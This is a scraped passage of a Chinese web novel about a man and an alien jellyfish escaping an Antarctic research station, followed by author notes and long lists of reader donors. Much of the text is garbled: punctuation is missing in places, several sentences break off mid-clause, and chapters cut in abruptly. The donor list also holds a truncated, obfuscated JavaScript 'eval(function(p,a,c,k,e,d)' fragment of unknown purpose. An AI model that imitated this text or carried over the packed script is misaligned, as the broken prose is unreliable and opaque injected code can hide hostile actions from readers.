——尤恩·韦伯昔日极地站的最高领导人下令枪杀自己的博士。 徐久难以置信地注视他们,看见一行人偷偷潜藏在已经活化的研究站里,大喇喇地绕开了那些还没有进化出人形的水母,而那些杀人如麻的小怪物竟也像什么都不知道一样放任他们从自己眼前走过。 他们是怎么做到的? 他们又要去哪儿是想尽快逃离这个地方吗? 徐久聚精会神地观察着他们行进的路线。 他在这里工作的时间不短也看过六号给他的研究所地图他们此刻的路线并不像是前往出口的更像是……往下面走? 下面又有什么东西呢? 心中的疑惑得不到解答徐久盯着他们在监控上时隐时现的身影下定决心开始到衣物柜里翻找。 他必须要给自己找点事做。 徐久换掉了身上的白大褂从警卫还没来得及带走的衣服里翻出一件衬衫一条长裤又找出一双码数合适的鞋好歹穿得看上去是那么回事儿不再像一个有暴露癖的神经病之后 托了设计师的福为了避免意外出现监控室总是会安排两个出口一个正门一个应急出口。此刻徐久蹑手蹑脚地掀开应急出 口的合页门,正要顺着梯子踩下去,想了想,复又折返回来,把那块金属碎片塞进了裤子口袋。 一方面,幸存者的举动引起了他的警觉,因为六号在给他看立体地图的时候就说过,最下面的建筑图纸标注着“绝密的字样,很有可能,极地站的最下方也有一个类似的自毁装置。 通常来说,自毁的指令是由极地站的“中枢 另一方面嘛…… 徐久当前的心绪乱糟糟的,他必须远离这个地方,远离那些自称“六号的异种。他需要转移自己的注意力,好去冷静地思考。 沿着扶梯,他从备用的通道口出发,降落到下面的楼层。徐久不敢发出大的声音,他能听见上层不住传来的窸窣堆叠声,说明水母们还没有离开。 他情不自禁地打了个寒颤,急忙加快了赶路的速度。 不知道为什么,自打醒过来之后,徐久可以明显感觉到,自己的记性好了很多,精力也充沛起来,体能更是得到了幅度不小的提升。难道六号把他泡在池子里,还泡出新人生了不成? 徐久摸摸脑袋,很是不解。 ……算了,先别想六号了,还是先追上那队研究员,看看他们具体想干嘛再说。 在普通人眼里,研究站早就沦为可怖的炼狱,致命的血肉丛林,但徐久可以毫无顾忌地忽略周遭的危险环境。 比起需要时时潜藏,躲避水母的博士一行人,他的速度就快得多了。跑到半中腰,徐久还嫌两条腿跑起来费劲,顺手拎了辆警卫巡逻用的平衡车,在满地的厚重滑膜上潇洒穿行。 不是错觉,他的脑子真的变得好灵光。 按照一行人刚才前进的方向,再结合立体地图的布局,徐久甚至可以在大脑中模拟出他们接下来的路线,就像3D建模一样清晰。 上学的时候,徐久就一直不理解,那些聪明学生是怎么一下就看出几何题的答案的?如今,他终于也窥得了其中的奥秘。 这算什么,死过一次就脱胎换骨了? 徐久露出个苦笑,再拐过一道弯时,那笑容凝在脸上,变作一个困惑的鬼脸。 他慢慢停下车,用手揉了揉眼睛。 ……奇怪。 前方不远处,比人稍微低矮一些的位置上,正飘浮着一条若隐若现,橙红色的粒子云带。它在徐久的视网膜上鲜明地停滞着,似乎引诱着他过去探 查一番。 徐久跳下车谨慎地走过去试探性地挥挥手那些粒子云立刻被打散在空气中不着痕迹地逸进他的鼻腔。 ——一切都像被水洗过那么清晰明了一览无余。陌生的气味冲击着徐久的大脑同时涌入纷乱鲜明潮水般繁多的信息。 他闻到混杂在一起的汗水的味道有的人出汗多有的人体味浅;闻到了防护服上淡淡的消毒水气味混杂着熟悉到不能再熟悉的压缩饼干的锯末味道以及营养糊糊独有的橡胶苦味儿;还闻到一股更加尖锐的酸味不过那不来自任何外物直觉告诉徐久这种酸味正是“恐惧”情绪在人体身上的具象化…… 不久前博士他们正是从这条路上经过。 我怎么了? 徐久愣愣地盯着眼前的气味云带。 我变异了吗?我怎么变成这样了? 如果六号在这里他会告诉徐久因为他是巢穴的另一个主人所以巢穴中发生的任何事都不能欺瞒他的感官;如果博士在这里他则会告诉徐久他的生理机能早已被实验体过度同化现在的他正在逐步脱离“人类”的范畴。 但这里没有博士至于六号……徐久正在努力说服自己不去想他。 他只能心情复杂地重新启动平衡车继续顺着云带追踪。这一路静悄悄的一个异种都没见到想来全被他吸引到之前的死胡同里去了。 < 第 30 章 愚人一无所有(三十) 《我是人啊,你不是?》全本免费阅读 六号要疯了。 这段时间发生的事,没有一件是不在他的雷区上尽情蹦迪的。先是母体被人类设计抓走,人类当着他的面,将一颗子弹送进了母体的心脏——子弹穿胸而出,徐久也真的死去了一秒钟的时间。 那一刻,六号的核心跟着破裂,迸溅出崩溃的碎纹,他痛得发不出声音,几乎就这么跟着一同死去。 不幸中的万幸,他及时接住了徐久,后续同样修补得及时。六号紧急挑选了筑巢的地点,以平生最快的速度搭建出富含营养质的荚囊,将母体安置在其中恢复。 在这之后,就是复仇,暴虐且毫不留情的复仇。 母体的受难引发了其他同构体的渴血本能,这使它们彻底放弃伪装,进入捕食状态。他先从通讯员和自毁装置控制室下手,切断了将这座人类基地同外界的连接,再阻断人类用于同归于尽的手段。他本该将这里的活物屠宰得一只不留的,不过,想起母体的喜好,他还是留下了厨师的性命。 大清洗第三天,仅存的人类便仓皇逃进了被称作“中枢”的防御堡垒,大清洗进行一星期,除了被允许生存的厨师,这里就只剩下龟缩才能苟活的生物了。 六号不管这些,在他清洁出一片隐秘的场地,建起可以用来躲避其他同构体的巢穴之后,他的脑子里就只剩下一件事:他的母体,他的伴侣。 徐久始终没有醒来,他不光需要浸泡营养质,按照时夜生的老方法,六号每天都采取口饲的方式喂养他。只是如此一来,似乎导致了一个小问题。 与母体昼夜交缠,耳鬓厮磨——哪怕徐久正处于无意识的状态,由此引发的情潮,也是异常可怕的。 母体的爱,他神圣的,赤诚的,饱含人性的爱,燃烧了六号生命中的每一个原子,令他一天比一天痴迷,一天比一天难以自拔。 一部分人类会将这种感受命名为神启,他们说爱情降临的时刻,就像天神亲自伸出双手,温柔地触摸一个人的肌肤。数万年过去,六号对神灵之说嗤之以鼻,对人类创造的,用于自我安慰的宗教也不甚感兴趣。可是,这种爱的感觉,被爱的感觉……除了母体就是属于他的神明之外,再也没有其他合理的解释。 以他为中心,六号的热潮以病毒式传染的速度,迅猛地感染了其余所有存活的同构体。他们在夜里饥饿地嚎哭,徒劳地修建着求偶的巢室,苦苦乞求伴侣的垂怜……但这些和六号有什么关系呢?他心安理得地独占着昏迷中的母体,一点儿都不觉得愧疚,更不觉得自己做错了什么。 直到现在。 今天一早,他潜入那些厨师目前被软禁的储藏间,无视人类快要吓死的表情,精心挑选、调配着用于口饲的营养质。由于当初情况危急,巢穴的位置离储藏间还有相当一段路程,等到六号细致地准备妥当,返回巢穴的时候,他才真真切切地体会到,什么是“天塌地陷”。 ——徐久不见了! 他疯了一样地到处寻找,嗅闻母体的气息,几乎把巢穴翻了个遍。就在他悔恨得快把自己撕碎的时候,六号感应到了来自精神网络的强烈波动。 其他同构体正在追逐徐久。 六号狂暴地咆哮起来,他飞掠的速度几乎突破音障,然而,等他到达目的地,母体已经被其余愚蠢的碎块逼进了死角的一个房间,再次不见踪影。 “你们凭什么逼迫他!”六号怒不可遏,并且这股愤怒不仅仅出于独占欲,“你们竟敢违背他的意志,把你们破碎的欲望凌驾在母体之上吗?!” 暴怒之下,他不再是徐久的六号了,更像是曾经那个冷血嗜杀的时夜生。他毁灭了一部分碎块,吃掉了另一部分碎块,而余下的同构体还在与他寸步不让地对抗。 “你又有什么资格把他藏起来!”他们齐齐发出嘶吼,“他也是我的母体,我的伴侣!” 六号懒得再跟这些蠢货纠缠,他没有时间再耽搁了。 一路嗅着徐久的行踪,他终于追上了骑着辆平衡车,在巢穴里溜溜哒哒的母体。 ……太好了,他没事。 松一口气之余,六号伏在墙壁上,又看到徐久轻皱的眉心,一副心事重重的模样。 ——都安静,不能发出声音! 通过精神网络,他如此威胁尾随在身后的碎块。 直觉告诉六号,现在不是在母体面前现身的好时机。他既然选择一个人外出,又躲开了自己的同构体,就说明他这会儿只想……人类那句话是怎么说的?“一个人静静”? 他看着徐久捡起一个笔记本,看了半天,最后又面红耳赤地合上;看到他在一堆遗物面前徘徊片刻,拾起一把小巧的武器,挂在腰间;也看着他一路尾随那些幸存的人类,进到地下隧道。 母体想做什么呢? 六号有些忧虑。 母体是不是被那些碎块吓到了,所以想偷偷地接近其他人类?毕竟,他们才是他的同族…… 徐久有没有被吓到,还是个未知数,六号先被自己的假设差点吓傻。他惴惴不安地跟在徐久头顶,看他踌躇片刻,还是走进了最下面的那扇大门。 徐久犹豫六号和身后的同构体却毫不犹豫立刻保持隐身的形态飞速窜了进去。 “博士你真的要这么做?”艾雯扶着之前想逃跑的年轻男人努力撑着他“就算毁掉极地站也不能保证怪物可以死得彻彻底底。你答应过我们要找到极地站的出口的!” 承载着自毁装置的容器犹如一座通天的白塔在灯光的掩映下闪闪发亮。博士面色如常上去开始进行身份验证。 “你们以为极地站的自毁程序是什么?核弹?氢 弹?”博士自言自语地说“不不都不是。启动程序之后它就会像一艘被凿沉的大船永远被破碎的冰川淹没……既然它是从冰层里放出来的那就让我重新把它送回去!这就是我的使命!” “不要说了艾雯”余下的研究员双眼含泪“他早就疯了他就是觉得我们都是怪物变的就是要我们所有人都死在这里!” “我们就不应该相信他……” “不相信我?”尤恩·韦伯冷笑出声“不相信我你们连中枢的大门都走不出去全得死在那里!” 研究员崩溃大喊:“你把血清给我们用根本不是为了救我们是为了在路上多几个挡箭牌!刚才我看见了我都看见了新岛他们本来不用死的是你把他们推出去吸引怪物的注意力……是你害的他们!” “通往正确的路上 “把手举起来。” 这个乍然响起的声音令在场的所有人都是一惊。 徐久从阴影中走出举起那把枪瞄准博士的后背。 “把手举起来别等我数到三你知道的我对你们这些人向来没什么好感。” 缩成一团的研究员都惊呆了尤恩身边仅存的生化人立刻举起枪博士的后背肉眼可见地僵硬他缓缓转过身阴冷地睁大眼睛低头盯着徐久。 “你还活着啊6号。” “嗨杂草不就是这样吗”徐久自嘲地说“想活不容易想死也不容易。” “叫你那群畜生都往后退!”尤恩厉声喝道“别以为我不知道它们一定会跟着你过来!” 徐久眉心一跳尤恩已经抢过生化人手里的武器朝他猛地开了一梭子。 刹那间六号的身体犹如水波般浮现在徐久面前。 异种张开触肢般的长发完全笼罩了徐久的身体同 时,他也在冲那个早该被他杀死的人类厉声咆哮,其余同构体便如汹涌呼啸的大潮,霎时朝站在高台上的尤恩席卷而去—— “别动!” “别过来!” 徐久和对方的声音一同响起,水母们停在半空中,不甘地扭曲着形状。 尤恩冷笑道:“只差DNA验证的最后一步,自毁装置就会开启,让你的畜生们来吧,省得我还要动手取血。” “别动。”徐久重复道,他看着面前的六号,叹了口气,“你真的在这儿啊。” 其实在他隐蔽着身体的时候,徐久就闻到了空气中那股隐隐搏动的温暖香气,它从头顶传来,于是他也猜测,六号是不是就藏在自己的头顶。 六号转过头,小心翼翼地看着他。 他还不知道那些同构体对母体具体说了什么,做了什么,但母体此刻的奇怪状态,令他不得不警惕。 “刚好,你们都在这里了,”尤恩狠狠地说,“省得我还要担心,这些畜生会不会跑出去一只……” 徐久沉吟了一下,面对博士的威胁,他冷静得超出寻常。 “你引爆这里,我会死,你会死,在场的人都会死,可是水母会不会死呢?”他慢慢放下手枪,盯着博士,“假如我现在就告诉他们,只要还有一点残余活下来,他就必须离开极地,去人类社会为我报仇,你又会怎么选择?” “你很清楚我和他们的关系,不是吗?你知道的,他们对我言听计从,凡是我的心愿,他们一定会替我实现……所以,你会怎么选?还会激活自毁装置吗?” 博士的面庞抽搐了一下,接着又是一下。 “你这个… 第 31 章 愚人一无所有(三十一) 六号有点困惑,他多少能够理解徐久的问题,他身后那些同构体就彻底迷惑了。 他想了想,谨慎地回答道:“……那是我,但不是六号。” “不是六号,那是谁呢?” “时夜生,我输给他之后,他就把我关在他的巢穴里。”六号说,接着连忙补充,“不过,现在他已经和我融合,我作为主导者,他才是从属者。” 他说后一句话的时候,眼睛明亮,语气里带着隐藏不住的炫耀之情。但徐久只是看着六号,牵起他身前的触须,轻声说:“对不起。” 六号愣住了:“嗯?” 为什么要说对不起,母体做错了什么事吗?不要紧,就算他做错了事,我也会让这件错事变成对的。 “那段时间,我其实察觉到了不对劲。”徐久继续说,“你的心思明显变得深沉起来,话少了,好像总是在生闷气,早上出门的时候,也不缠着我亲你了……我一边想,六号为什么变了个样子?一边又想,是不是我多心了,其实你只是因为打架输掉,所以才不高兴的?” 他抬起头,神色黯淡:“我醒来之后,看到很多长得和你一模一样的水母,忽然就想到过去的事,心里咯噔一下,觉得坏事了。” “对不起,”徐久低低地说,“你被关在他的巢穴里,是不是吃了很多苦?我真是个没用的人啊,如果我当时能再坚定一点,向他问清楚,我一定会第一时间就去找你,不会孤零零地留你在那里……” 他的手松开了,直视六号的眼睛,徐久吃力地说:“我是个没用的人。” 六号急了:“你不是……!” “你先听我说!”徐久加重了声调,随后又缓和下来,“我问你,你喜欢我吗?” 六号不明所以地点点头,动作与身后的同构体完全一致:“喜欢。” “那你爱……你爱我吗?” 六号没有犹豫,他承认的语气,就像在说“今天天气很好”一样,坚定且自然。 “我爱你。” 徐久低下头,想了好一会儿。 他斟酌词句,慢慢地道:“我是个普通的——不,不能这么说,我连普通人都算不上。普通人起码可以拥有一个属于自己的家,而在调来南极站之前,我曾经向过去任职的主管请求看一眼自己的档案。通常来说,那上面记录着每个莫比乌员工的出生日期和出生属地,我等了又等,直到即将出发的那天,那个人才告诉我,我的档案早就遗失了。” “我没有……”他深深呼吸,一下一下地眨 着眼睛,尽可能地将溢出的泪花锁在睫毛后面,“我没有交朋友的经验,没有恋爱的经验,过去的日子,几乎就是空白的。我按部就班地读书、辍学、工作,然后等死。如果不是遇到你,我想,我应该会死在二十岁这年吧。” “一个没有期待,更没有未来的人,无论如何都是活不长的。” 他吸了吸鼻子,调整着呼吸,再开口时,他的情绪又变得平稳起来了。 “小的时候,我就很羡慕那些会交友的同龄人。”徐久说,“他们好像总有某种天赋,我不知道这么说你能不能理解,就是……有的人好像天生就可以通过眼神、手势和暗示去交朋友,从人群里联络到自己的同类。他们心领神会的一句话,就能收获志同道合的搭档,可我呢,总也学不会这种本领。现在想想,我真是笨拙啊。” “当然了,也不是没有人暂时地找到我,和我同行上一段时间,但只要遇到比我更好,更合适的人,他们马上就能放下我,头也不回地转身就走。我从来没有当过别人的唯一,我从来不是别人的第一选择。 “所以后来我学会了笑,真笑,假笑,各种各样的笑。既然大家都不喜欢爱哭的人,那我就学着笑吧!笑着回应他人的抛弃,总是要比流泪恳求的样子体面许多的。” 六号默默地看着他,身后的同构体也没有发出声音。 “我第一次听到你们……理论上说,你们是一体的对吧?好,那就是我第一次听到你说爱我的时候,我的心里除了惶恐,没有其他的想法。”徐久小小地笑了一下,“我的第一反应,先是怀疑,然后是否决。我怀疑真的会有人坚定不移地选择我吗?而我否决的是我……我……” 他说不出话,最终沉默了。 “我不知道该怎么去回应你们的感情,我太贫瘠,我一无所有。”徐久低声说,“我只是一个人,只有一颗心。” 六号缄默片刻,他忽然说:“我知道了。” 徐久愣了一下,他抬眼看他,但六号已经向后退了一步。 “时夜生”的外皮飞速溶解、流逝,在徐久惊诧的目光中,他没有变回水母的原形,而是形成了一股蜿蜒不定的大潮,一束蓝色与紫色的波涛。 他在宏伟的天顶下盘旋,下方的同构体也一个接一个地加入了他的行列,飞舞上升,融汇进这条浩瀚的洋流。 穹顶犹如天幕,汇聚的水母则如银河,幽蓝的光点仿佛大雪,漫无目的地向四方飘洒。在徐久上方,星汉如瀑,涌动着瑰丽的漩涡,每一条光带都像是流水的波纹,荡漾着 梦幻的辉色。 ——他们在融合。 六号没有做出一个字的解释但徐久完全明白了他们此刻在做什么。 他置身于此就像漫步在阔别多年的星空下方。 徐久呆住了他张望着头顶的盛景完全失去了语言的能力他的视网膜上映着唯一壮美的巨影祂是科西切是奥西里斯是阿克尔实验体是时夜生。 也是他的六号。 这个宏伟的生物遮天蔽日悬停在空中祂伸长千万缕曼妙剔透的触须环绕过徐久的身体将人类极尽温柔地捧起与自己放置在同一高度。 “你说你不懂感情”仿佛有一万个人齐声低语轻轻地唱和六号的声音响彻这辽阔空间的每一个角落犹如无孔不入的雾气蒸腾着萦绕上来“没关系我也不懂。不过我知道行动总能胜过百倍的言语。” 徐久怔怔地注视祂。 “吞噬和杀戮是我的本能可是正如你违背自己的本能来养育我我也愿意为了你悖逆自己的天性。”六号说“我的数量无穷无尽但不管是哪一个我都会坚定不移地选择你做我的唯一。” “这就是我爱你的心。” 在水母的表皮上逐渐脱出时夜生的人形继而凝结颜色睁开双目。他美如神祇又实在是这世上最可怕的魔鬼。 他伸出双臂环抱住徐久的身体。 “你能相信我的心吗?”六号轻轻地羞怯地问。 眼泪无声地落在六号身上徐久哽咽地说:“好我相信。” “那……我能亲你吗?” 徐久一下笑了。 他抬头看着六号犹豫片刻一把将对方拉低先生涩地亲了一下水母才警告道:“不准再把舌头伸我胃里。” 得到允许六号瞬间高兴得忘乎所以。 他尝试性地挨了挨徐久的肌肤 六号慢条斯理地仔细亲吻徐久直到他战栗、喘息。异种贪婪地吞下爱侣的一切回应仿佛除此之外再不会有其他更渴望的东西。然后他再饥饿不堪地亲吻他他一直亲到他无法思考让徐久只能从喉咙里发出颤抖的哀吟才终于停下来。 “你……你真的……”徐久头昏眼花浑身 发热,好不容易把自己从六号嘴上撕下来,六号还要凑过去亲,他急忙拿手捂住水母的嘴,只是他挡住一张,架不住第二、第三张,徐久被缠得面红耳赤,连忙改捂自己的嘴。 “不能亲了! 六号恋恋不舍,还眼馋地盯着,为了转移他的注意力,徐久赶紧挑选了一个别的话题,含糊地开口:“话说在前头,我相信你的心,可我毕竟是人类,寿命有限…… “不,六号固执地说,“你不是人类,你是我的伴侣。 徐久哭笑不得:“生老病死是自然规律,自然规律是不以人的意志为转移的。 “你不会死,六号低声说,“就算真有那一天,我一定会吃了你,再从我的血肉上生出你。 徐久的笑容收敛,但他还是想问一问。 “如果这样都不行,我就是死了呢? “那我也会死啊。六号坦然地回答,“我会投身大海,在海水里降解、溶化,变成无意识的碎肉。而我的身体,将成为埋葬你的棺椁。 徐久的心头剧烈发颤。 六号的誓言含着那么多残酷的东西……假使将来他和其他人一样抛弃了自己,徐久也绝不会怪罪他负心寡义,因为在这一刻,他如此坦荡自然地剖白了一颗非人的心,捧出一汪赤血,并且烫得徐久浑身发抖,不能出声。 “我们走吧。六号抚摸他的鬓发,露出专注的笑容,“我们去见识过山车,去看星星,去做一切你想做的事,你的愿望,我都会帮你实现的。 “好……徐久说,“你的愿望,我也会帮你实现。 徐久随便收拾了行李,在这里工作了几年,他却没有多少属于自己的东西,看来看去,最后只收拾出两套御寒的衣物,一些零零碎碎的毛巾、牙刷牙杯什么的。 临走前,他利用尤恩博士的尸体,以及时夜生的人类DNA,还是启动了极地站的自毁程度。只不过,他将时间定在了四十八小时之后,好让他们有充足的时间做准备。 他敦促六号放了那些厨房的工作人员,自己又打包了些路上吃的食物。说来也奇怪,自打他从那张奇怪的床上醒来,就好像拥有了使不完的精力,饥饿和疲惫似乎都离他远去了。 徐久换好衣服,六号帮他穿好袜子和鞋子,一人一水母结伴出行。徐久带好护目镜,身后背着一个小背包,牵着水母的一根口腕,就像牵着一个过于巨大的,悬浮在头顶的热气球,站在抬头望不到顶的隧道口。 “开门吧。徐久深吸一口气,说。 伴随轰鸣的震响,地底隧道的大门缓缓洞开,刺骨凛冽的寒风扑面而来。 没有哪辆运输车有能力承担他和六号共同的重量,但徐久一点都不在乎,他牵着水母的口腕,十分珍惜地行走在隧道的铁轨上。这条通往自由的道路,他已经心心念念了十多年。 “我们要从哪个方向出发?”徐久兴致勃勃地问。 这种感觉真的很好,远方的远方仍然有数不尽的远方,世界之大,全在徐久的脚下,凭他想往哪走,就往哪走。 “往海边,”六号提议,“海里有好吃的,还能找到人类的船,搭顺风车。” 徐久笑得见牙不见眼,重重点头:“好!” 水母把他举起来,高高地顶在头上,然后迅疾地在隧道里横冲直闯,宛如天底下最美丽,也最可怕的高速列车。强劲的风声穿梭在徐久耳边,他尽情地大声喊叫,接着又大笑了起来。 近了,更近了,出口的光亮就在眼前,水母用口腕严严实实地包住徐久,好不让那钢刀般彻骨的寒风吹到人类脆弱的皮肤上。 不过,水母透明的表皮,仍然可以让他清晰无虞地看到外界的一切景象。 他们冲出隧道的同时,眼前光芒大放,但迎接徐久的,却不是耀目的阳光,而是绚丽的极光。 徐久睁大眼睛,瞬间失语。 南极的极夜已经到来,但混沌的天穹之上,玫瑰与海蓝、霞紫的光带相互交织,美而无理地横亘了整个世界,犹如天神抹下的手印,沉浮在神龛一般灿烂的星海当中。 雪原广袤寂寞,冰川万年无声,浩大的狂风在世界的尽头纵情呼啸,将冻原吹得光洁,将无瑕的雪尘吹拂出神秘的,变幻莫测的图案。极光照耀着他和六号,也只照耀着他和六号。 徐久哭了。 在长夜、雪原、冰川,以及光辉灿烂,一千一万年也不曾褪色的极光之下,他抱着六号的一根口腕放声大哭,哭得声嘶力竭,哭到喉咙沙哑。 徐久的人生迟滞了二十年,终于在这一刻拉开序幕,向他展示出盛大的世界,以及一切不可能的可能。 作者有话要说 【今天有感谢名单哦!本单元还有一章,就要开启下一个单元啦——】 徐久:*大哭,因为自己的人生太凄惨,又太奇妙*我出去之后要吃很多很多好吃的,要到很多很多地方玩!*一秒钟之内制定出一百万个计划* 巨大水母:*严肃认真地做笔记,并且在一秒钟之内实现这些计划*好的没有问题,立刻执行! 徐久:*玩累了哭累了沉沉睡去但是这一次他可以光明正大地睡在巨大水母身上* 巨大水母:*十分幸福 感谢在2024-07-0521:01:18~2024-07-1220:37:47期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出深水鱼雷的小天使:沁酱、六翮1个; 感谢投出浅水炸弹的小天使:Hyena、一夜爆富、拒绝牛头人纯爱yyds1个; 感谢投出火箭炮的小天使:左源承泽、菡萏、居云青莲8个;玩偶锦鲤7个;mask、AAA神金冰处理人员6个;问君能有几多愁、W一W5个;小舟潮、CerDramione、超级无敌暴龙战士、幻星、黛浅梨妆、衔尾之蛇、一夜爆富4个;荒总、墨鸠、陌上开彼岸殇、津津津津唐、琪琪曲奇、沐茈3个;楼玳姒、客子、霜莎、Hyena、雪言妖语、emm看文就对了、慕之塘洞、沉红豆、拒绝牛头人纯爱yyds、鲤溪源泽、不能吃的莲子2个;Verity、脆脆没有鲨、燕通宴、学鳛使我快乐、yoooooooke、小狗不想上学、果核、山月今夕、童谣、阿福吃潮糕、更新吧大大、couting5、六翮、真的一会就开始画、31986558、太壹1个; 感谢投出手榴弹的小天使:koonig_n6个;燕通宴、Hyena、mask4个;客子、W一W、阿蒂拉、拒绝牛头人纯爱yyds、太壹、不能吃的莲子3个;长颈鹿鹿鹿、Verity、彳亍。、呵呵、purli、左源承泽、桑、璐璐梓、我推世界第一、啊我不知道槿、懒得起名字啊、AAA神金冰处理人员、去码头整点薯条2个;什逢、神一样的好孩子、除眠、克莱斯勒、媛、DuangDuang更、瑰瑰、咸鱼万岁、在在、哈哈哈、玉蜀黍最好迟、奴佛卡因、昀钰、青禾、鹿鹿露露麓、54312487、菡萏、一个莫得感情的充电器、玄枵、Ambra、蔷薇少女、云树秋声、冷祀、CerDramione、水星不下雨、墨惜墨惜-、慕之塘洞、不喜欢薄荷糖的薄荷、韩潘君、熬夜看文最快乐真的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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感谢投出地雷的小天使:koonig_n14个;啊我不知道槿8个;燕通宴7个;时老师的狗、天若、水月你带我走吧、揽月6个;冷祀、客子5个;狸追、yoooooooke、山月今夕、Hyena、浑水摸驴、海螺踢你、太壹、韩潘君、56552292、小舟潮4个;喵大仙、方书蝶墨、青禾、瑰瑰、哪个小可爱还没更新、云树秋声、水星不下雨、熬夜看文最快乐真的、沐四、淡水、W一W3个;星野、我是温迪的狗、我欲四时携酒去、食堂门前的树、空泉、xz糊穿地心、江边行、西泽南木、18791427、就爱碎觉觉、双攸、Theresa、晗、s、收割阳光、三玄、语惊蛰、坐怀不乱、牡丹那个花儿开、哒哒哒、你放个屁我听听、路乱离、林与白、哈哈哈、春可乐、树鸭米糯、32497996、快更快更、余笙、九轩葵、小莘不行、镜中瞳教会私通部审判、72858207、子夕、缘、宗鹤、我是小圆的狗、鹤丸国永、懒得起名字啊、purli、舟上飞鸥、严姜片、鸩醉了、栗子.、苏晓、czw薇薇、厄里、47046732、009、╭、咖啡豆、咔嚓咔嚓kkkk、行露、槐兰、呵呵、鸦青、十二是女明星、伞匠人、素衣朱绣、拒绝牛头人纯爱yyds、泡脚凤爪、淡月、时光机、2x、三天没吃饭了嗷呜、每天都想改名字、^-^、个、转影、想当学霸的韵、27574995、夜琅、奇怪、已老实求放过、揽月与你.、沈穰、祝一、今天学习了吗?、蚀饲、CerDramione、mask、墨、沅野、卡宴、65865085、烟淑small、变质血液、瓶子、欢熠、啊啊啊啊啊啊破、活着迟早发霉、鸢飞2个;RUI、丫鸭压丫鸦、仲不夏、你好 咕唧唧、鹿鹿露露麓、文浊、44711605、菡萏、柚子橘子橙子、R.F一生、在万达广场扫垃圾的、萬绾、走狐、滔滔黄河水?、让我多睡会、芋圆奶茶不要芋圆、30836794、65629006、看咩啦、54742848、柳琴音、63739462、11月7号在杯户摩天轮、到底是谁在释怀啊、安、dbG扇子、32094245、端午、糖糖猫、Ic、汤泡饭本汤、中二傲娇、??困、喵喵咪,吾爱、染无、白泽、暗夜灵猫、大概后天、白枭、芙朗科·迪曼、来年、圣女果教母、九夜、绯色云矢、彌乃伊、王天健、炫彩闪光断头台?、Hero、33135727、温七月、XLYYL、钰、蒚、爱喝气泡水的柠檬、晓仙儿、你说的对、梏槐、moriken、紙不白、去码头整点薯条、真的不会取昵称、七七八八七、人间富贵花?、小圆咩咩叫、普蓝、一点点、雪、木槿、新高考一卷、桑葚奶油小蛋糕、黑泽空、霜降、青池浅见、sherlock、68129955、鹿鹿续续、半边街、夏日长、啾啾、南青、妮妮、46820652、藏莺、滴呢、刘姥姥、幼儿园最可爱的崽、我磕的cp都不准be、雨笙rs、失眠夜猫子想睡觉、223282551个; 感谢灌溉营养液的小天使:滔滔黄河水?106瓶;城南旧事101瓶;寻木、十五婕100瓶;一只快活的柠檬精93瓶;折纸92瓶;娇喘不要停85瓶;六折80瓶;岚叔79瓶;苏幕遮77瓶;梅川库子73瓶;津津津津唐71瓶;折木爱瑠66瓶;英语单词好难背啊救命65瓶;唯十三63瓶;玄离、沈穰60瓶;燕在梁间59瓶;去码头整点薯条53瓶;云散日出51瓶;星星★、60039093、月裔、藏莺、小金鱼、长颈鹿鹿鹿、洛洛洛洛、芝芝咪呜、木槐、梏槐50瓶;☆米虫、三千流光48瓶;不吃芹菜zzz、唧唧叽叽忌47瓶;竹简书心45瓶;五条律、衔尾之蛇43瓶;黛浅梨妆、刘宇老公、顾央41瓶;咸鱼、南青、45922594、桂花炖雪梨40瓶;满座衣冠无相忆、北冥知鲤、彳亍。39瓶;莫里亚蒂、夜轻狂、漱石枕流38瓶;文笔别毁、65629006、Beryljacky37瓶;33135727、心兑、鹤九36瓶;南柯35瓶;晓仙儿、啊我不知道槿32瓶;染宁31瓶;丛薄、月光花、景兮、默目桑、瑞雪初晴、熊猫西拉、青鸟衔枝、小灰、Lewellyn、狂恋苦艾、肉团子软软、阿啾啾、小张、这个同人可以不了解背、墨软软、 天天儿然、令秧、杂合子30瓶;小舟潮、etyfa29瓶;小伊27瓶;不多26瓶;外城gsy、77、崩崩的布偶、知识搅拌机、**断更作者的**25瓶;六翮24瓶;夜猫子、荟荟叶~、宅沅22瓶;花花、大副、白柳座下甜狗21瓶;不喜欢薄荷糖的薄荷、糖糖猫、唐骆、Super吴、耗子尾汁、Yuuuuu、Z、cellage、66818319、琨、笨蛋小猫哒宰桑、小飞侠、桑、凤舞九天、maobinggan、万.、名字太多、妄想症、容容容容容易、我只是躺平咸鱼、软糊糊、十二月初七、25191416、我搞的cp都是真的、凉夜风急、要不要催我改名字、哦吼、林林林林林林林林林林、总有玫瑰一片、起开、风醉、R.F一生、荔枝琥珀、电子界族重度依赖症、莳暖、乌龙茶、穗枘、没有头发、gaztia、冰沙、棒棒糖、沈顾、嗷呜阿雾20瓶;曦曦、左源承泽、童话镇、ciotho、不耶、hgyfrtw、刺猬不想吃草莓19瓶;糖糖、呦酱、大不列颠的钟、厄休拉、民政局♀、面包、HOMO18瓶;小唐、W一W、七崽、甜瓜、陌少风、一颗星辰落入人间17瓶;尸体感觉暖暖哒、旒玖、一条小溪哗哗哗、mask、牧小尘、小翥牙、愿、今天休息16瓶;猫猫言、绾艾、只想摸鱼的咸鱼、lifeup、司鹤、可爱的脱落酸、R衡、幽灵幻灭、momo、大概后天、肆15瓶;不要蒜、河清、甜柠檬14瓶;6901917413瓶;饮冰难凉、风一样的人生关系、芒果猫、森无音、梦绥绥、阿边12瓶;闲言碎语、赤砂糖、可可爱爱没有脑袋、狂风过境、江珊珊11瓶;翻车鱼、小猫国王喵喵喵、RMgI、好你个呜呜帕、路乱离、朝夕、砚生、打卡、彩虹屁精、朱一龙的老婆、初七不是初八、PandaKing、夏日长、包子不见馅、懒洋洋的肥兔子、炫彩闪光断头台?、落日奔向黄昏、萧辞念、要糖不要刀、小脑斧、问就是文荒、阿雅鸭呀、69501514、空宝、■■■、脑中浮游、星星、鱼、园子不愿意、黄小鸡呀、藤阁、别看不起蛋黄酱啊混蛋、是怡宝啊灬、拾陆鱼、风定云墨色、Estrella、一誓已世、寻水的鱼、贫穷使我面目全非、瑜鱼、20513668、兮夜、一块木头、小熊烤栗耶、霜降、喵貓、70363471、鹣鹣、箫箫沐雨、长生、61841373、51631282、凉茶五块、小饼干、CerDramione、未闵、将夷、三金、清灯、我推世界第一、越一真、阮恬、红瑾、喵大仙、苟苟、A09 第 32 章 愚人一无所有(三十二) 2045年3月,坎昆。 